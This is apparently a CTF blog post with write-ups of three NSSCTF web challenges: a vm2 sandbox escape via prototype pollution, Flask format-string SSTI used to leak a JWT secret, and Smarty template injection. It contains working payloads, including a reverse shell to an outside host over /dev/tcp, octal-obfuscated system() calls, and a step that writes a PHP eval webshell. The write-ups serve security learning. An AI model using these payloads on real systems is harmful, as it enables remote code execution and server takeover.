• NSSCTF web刷题记录6



    [HZNUCTF 2023 final]eznode

    考点:vm2沙箱逃逸、原型链污染

    打开题目,提示找找源码
    在这里插入图片描述
    直接访问./app.js得到

    const express = require('express');
    const app = express();
    const { VM } = require('vm2');
    
    app.use(express.json());
    
    const backdoor = function () {
        try {
            new VM().run({}.shellcode);
        } catch (e) {
            console.log(e);
        }
    }
    
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    const merge = (a, b) => {
        for (var attr in b) {
            if (isObject(a[attr]) && isObject(b[attr])) {
                merge(a[attr], b[attr]);
            } else {
                a[attr] = b[attr];
            }
        }
        return a
    }
    const clone = (a) => {
        return merge({}, a);
    }
    
    
    app.get('/', function (req, res) {
        res.send("POST some json shit to /.  no source code and try to find source code");
    });
    
    app.post('/', function (req, res) {
        try {
            console.log(req.body)
            var body = JSON.parse(JSON.stringify(req.body));
            var copybody = clone(body)
            if (copybody.shit) {
                backdoor()
            }
            res.send("post shit ok")
        }catch(e){
            res.send("is it shit ?")
            console.log(e)
        }
    })
    
    app.listen(3000, function () {
        console.log('start listening on port 3000');
    });
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
    如果if语句为真,调用backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

    payload如下

    {
        "shit":"1",
        "__proto__": {
            "shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    postmanPOST发送即可
    反弹shell成功,得到flag
    在这里插入图片描述

    [MoeCTF 2021]地狱通讯-改

    考点:JWT解密、ssti

    源码如下

    from flask import Flask, render_template, request, session, redirect, make_response
    from secret import secret, headers, User
    import datetime
    import jwt
    
    app = Flask(__name__)
    
    
    @app.route("/", methods=['GET', 'POST'])
    def index():
        f = open("app.py", "r")
        ctx = f.read()
        f.close()
        res = make_response(ctx)
        name = request.args.get('name') or ''
        if 'admin' in name or name == '':
            return res
        payload = {
            "name": name,
        }
        token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
        res.set_cookie('token', token)
        return res
    
    
    @app.route('/hello', methods=['GET', 'POST'])
    def hello():
        token = request.cookies.get('token')
        if not token:
            return redirect('/', 302)
        try:
            name = jwt.decode(token, secret, algorithms=['HS256'])['name']
        except jwt.exceptions.InvalidSignatureError as e:
            return "Invalid token"
        if name != "admin":
            user = User(name)
            flag = request.args.get('flag') or ''
            message = "Hello {0}, your flag is" + flag
            return message.format(user)
        else:
            return render_template('flag.html', name=name)
    
    
    if __name__ == "__main__":
        app.run()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    分析一下,/路由下接收name参数,如果存在且值不为admin,将输出JWT加密的token值;/hello路由接收参数token,然后进行解密,如果为admin返回flag

    首先第一步获取token值,访问/hello
    在这里插入图片描述然后要找到jwt解密要的密钥
    我们利用ssti获取

    /hello?flag={0.__class__.__init__.__globals__}
    
    • 1

    在这里插入图片描述
    然后把密钥放到我们解密网站,验证成功,我们直接修改为admin
    在这里插入图片描述
    访问得到flag
    在这里插入图片描述

    [红明谷CTF 2022] Smarty Calculator

    考点:Smarty模板注入,CVE-2021-26120

    扫一下目录,发现有源码泄露
    在这里插入图片描述看下源码,发现是Smarty模板

    
    
    
        
        Smarty calculator
    
    
    

    Smarty calculator


    php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); function waf($data){ $pattern = "php|\<|flag|\?"; $vpattern = explode("|", $pattern); foreach ($vpattern as $value) { if (preg_match("/$value/", $data)) { echo("
    Calculator don not like U

    "); die(); } } return $data; } if(isset($_POST['data'])){ if(isset($_COOKIE['login'])) { $data = waf($_POST['data']); echo "
    Only smarty people can use calculators:

    "; $smarty->display("string:" . $data); }else{ echo ""; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    有waf过滤,然后判断cookie
    我们试试注入语句,发现成功
    在这里插入图片描述
    由于我们在/Smarty/Smarty.class.php知道该版本
    在这里插入图片描述

    方法一 CVE-2021-26120

    直接去网上找相关漏洞,发现是CVE-2021-26120(说是此版本修复但也不知道为啥能用)
    然后去GitHub上下载该版本的源码对比一下,找到不同的地方
    也就是sysplugins文件夹下的smarty_internal_compile_function.php
    源码中的正则匹配

    if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))
    
    • 1

    而题目中的正则匹配

    if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))
    
    • 1

    可以发现变成!,后面的(.*)+中,.匹配除了换行符以外的所有字符,*匹配0次或者多次,+匹配一次或者多次,我们可以使用多次换行绕过

    该漏洞的poc
    在这里插入图片描述修改一下即可得到flag

    data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
    
    • 1

    在这里插入图片描述

    方法二 CVE-2021-29454

    data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}
    
    • 1

    在这里插入图片描述

    方法三 写马蚁剑连接

    也是利用八进制实现绕过

    data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    CentOS Install Passenger for ROR
    【数学分析笔记05】数列极限的性质
    angular:简单实现图片如果超过屏幕高度则滚动置顶;没超过则水平垂直居中
    抖音视频评论批量采集软件|视频数据提取工具
    在 Vue3 项目中如何关闭 ESLint
    Servlet
    Linux下载安装mysql5.7版本教程最全详解
    RabbitMQ入门 -- 阿里云服务器安装RabbitMQ
    【Java】人工智能交互智慧导诊系统源码
    Websocket实现方式二——注解方式
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/134429014